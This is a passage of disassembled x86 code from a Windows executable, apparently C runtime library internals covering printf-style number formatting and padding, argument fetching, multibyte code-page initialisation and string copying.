		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_44215C
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_442154
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_441DC0
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4E1F84
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_441DD0


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_441EC0
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 28E0000h
		nop
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4E20A0
		cmp	[ebp+var_18], 1
		mov	dword_4E1F84, esi
		rep stosd
		stosb
		mov	dword_4E21A4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4E20A1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4E20A0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_441DE0[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_441DC8[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4E20A1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4E1F9C, 1
		push	eax
		mov	dword_4E1F84, eax
		call	sub_42008C
		lea	esi, dword_441DD4[esi]
		mov	edi, offset dword_4E1F90
		movsd
		movsd
		pop	ecx
		mov	dword_4E21A4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4E20A1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4E21A4, eax
		mov	dword_4E1F9C, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4E1F9C, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4E1F90
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4E0BB0, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4E0BB0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4E0BB0, 1
		nop
		jmp	near ptr 26708FDh
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4E0BB0, 1
		jmp	near ptr 28E06D2h
; ---------------------------------------------------------------------------
		db 67h
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4E0BF4
		mov	dword_4E0BB0, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4E20A0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4E1F90
		mov	dword_4E1F84, eax
		mov	dword_4E1F9C, eax
		mov	dword_4E21A4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4E1F84
		nop
		call	near ptr 28E0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4E21A4
		push	dword_4E1F84
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4E1F84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4E21A4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4E1F84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4E21A4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4E20A1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4E1FA0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4E20A1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4E1FA0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4E20A1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4E1FA0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4E20A1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4E1FA0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4E21D4, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4E21D4, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4E1F9C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4E20A1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


